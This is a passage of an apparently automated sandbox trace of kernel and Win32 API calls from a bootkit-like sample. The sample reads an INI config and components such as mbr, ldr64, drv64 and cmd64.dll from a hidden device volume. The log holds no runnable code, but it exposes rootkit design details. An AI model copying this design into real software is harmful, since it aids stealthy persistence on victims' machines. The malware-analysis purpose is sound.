CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cd5000 [0118.426] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.426] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0118.426] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0118.426] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.426] IdePortDispatch () returned 0x103 [0118.426] KeWaitForMutexObject () returned 0x0 [0118.426] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.426] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.427] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0118.427] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0118.427] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.427] IdePortDispatch () returned 0x103 [0118.427] KeWaitForMutexObject () returned 0x0 [0118.427] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.427] KeLeaveCriticalRegion () [0118.427] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.428] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.428] KeEnterCriticalRegion () [0118.428] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.428] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.428] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.428] KeLeaveCriticalRegion () [0118.428] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.428] KeEnterCriticalRegion () [0118.428] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.428] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.428] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003adb990, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.428] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.428] KeLeaveCriticalRegion () [0118.428] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.428] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.428] KeEnterCriticalRegion () [0118.428] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.428] ExFreePoolWithTag (P=0xfffffa80039caf00, Tag=0x0) [0118.428] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.428] KeLeaveCriticalRegion () [0118.428] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.428] ReleaseMutex (hMutex=0xf0) returned 1 [0118.428] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.428] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0118.428] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.428] KeEnterCriticalRegion () [0118.428] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.428] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.428] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.428] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.428] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.428] IdePortDispatch () returned 0x103 [0118.429] KeWaitForMutexObject () returned 0x0 [0118.429] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.429] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.429] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.429] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.429] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.429] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003baa740 [0118.429] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.429] KeLeaveCriticalRegion () [0118.429] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.430] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.430] KeEnterCriticalRegion () [0118.430] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.430] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.430] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.430] KeLeaveCriticalRegion () [0118.430] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.430] KeEnterCriticalRegion () [0118.430] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.430] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.430] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.430] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.430] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0118.430] IdePortDispatch () returned 0x103 [0118.430] KeWaitForMutexObject () returned 0x0 [0118.430] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.430] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.430] KeLeaveCriticalRegion () [0118.430] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.430] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.430] KeEnterCriticalRegion () [0118.430] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.430] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cd6000 [0118.430] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.430] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0118.430] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0118.430] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.430] IdePortDispatch () returned 0x103 [0118.431] KeWaitForMutexObject () returned 0x0 [0118.431] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.431] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.431] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0118.431] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0118.431] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.431] IdePortDispatch () returned 0x103 [0118.431] KeWaitForMutexObject () returned 0x0 [0118.431] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.431] KeLeaveCriticalRegion () [0118.431] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.431] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.431] KeEnterCriticalRegion () [0118.431] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.431] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.431] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.431] KeLeaveCriticalRegion () [0118.431] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.431] KeEnterCriticalRegion () [0118.432] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.432] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.432] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003aae5e0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.432] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.432] KeLeaveCriticalRegion () [0118.432] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.432] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.432] KeEnterCriticalRegion () [0118.432] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.432] ExFreePoolWithTag (P=0xfffffa8003baa740, Tag=0x0) [0118.432] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.432] KeLeaveCriticalRegion () [0118.432] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.432] ReleaseMutex (hMutex=0xf0) returned 1 [0118.432] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.432] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0118.432] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.432] KeEnterCriticalRegion () [0118.432] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.432] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.432] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.432] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.432] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.432] IdePortDispatch () returned 0x103 [0118.432] KeWaitForMutexObject () returned 0x0 [0118.432] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.432] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.432] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.432] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.432] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.432] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bdfc90 [0118.432] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.432] KeLeaveCriticalRegion () [0118.432] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.432] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.432] KeEnterCriticalRegion () [0118.432] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.433] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.433] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.433] KeLeaveCriticalRegion () [0118.433] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.433] KeEnterCriticalRegion () [0118.433] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.433] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.433] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.433] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.433] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0118.433] IdePortDispatch () returned 0x103 [0118.433] KeWaitForMutexObject () returned 0x0 [0118.433] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.433] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.433] KeLeaveCriticalRegion () [0118.433] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.433] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.433] KeEnterCriticalRegion () [0118.433] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.433] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cd7000 [0118.433] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.433] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0118.433] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0118.433] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.433] IdePortDispatch () returned 0x103 [0118.433] KeWaitForMutexObject () returned 0x0 [0118.433] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.433] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.433] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0118.434] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0118.434] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.434] IdePortDispatch () returned 0x103 [0118.434] KeWaitForMutexObject () returned 0x0 [0118.434] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.434] KeLeaveCriticalRegion () [0118.434] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.434] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.434] KeEnterCriticalRegion () [0118.434] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.434] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.434] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.434] KeLeaveCriticalRegion () [0118.434] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.434] KeEnterCriticalRegion () [0118.434] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.434] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.434] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bdfd50, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.434] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.434] KeLeaveCriticalRegion () [0118.434] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.434] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.435] KeEnterCriticalRegion () [0118.435] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.435] ExFreePoolWithTag (P=0xfffffa8003bdfc90, Tag=0x0) [0118.435] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.435] KeLeaveCriticalRegion () [0118.435] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.435] ReleaseMutex (hMutex=0xf0) returned 1 [0118.435] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0118.435] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0118.435] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0118.435] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0118.435] KeEnterCriticalRegion () [0118.435] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.435] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.435] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.435] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.435] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.435] IdePortDispatch () returned 0x103 [0118.435] KeWaitForMutexObject () returned 0x0 [0118.435] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.435] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0118.435] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.435] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.435] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.435] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0118.435] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0118.435] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.435] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.435] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0118.435] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.435] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.435] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.435] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.435] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.435] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.435] KeLeaveCriticalRegion () [0118.435] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.435] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0118.436] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0118.436] KeEnterCriticalRegion () [0118.436] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.436] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.436] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.436] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.436] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.436] IdePortDispatch () returned 0x103 [0118.436] KeWaitForMutexObject () returned 0x0 [0118.436] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.436] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0118.436] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.436] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.436] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.436] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0118.436] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0118.436] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.436] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.436] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0118.436] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.436] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.436] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.436] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.436] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.436] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.436] KeLeaveCriticalRegion () [0118.436] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.436] ReleaseMutex (hMutex=0x100) returned 1 [0118.436] Sleep (dwMilliseconds=0x2bf20) [0118.443] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x69cc4030, dwHighDateTime=0x1d24fa4)) [0118.443] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0118.443] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.443] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0118.443] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.443] KeEnterCriticalRegion () [0118.443] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.443] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.443] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.443] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.443] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: 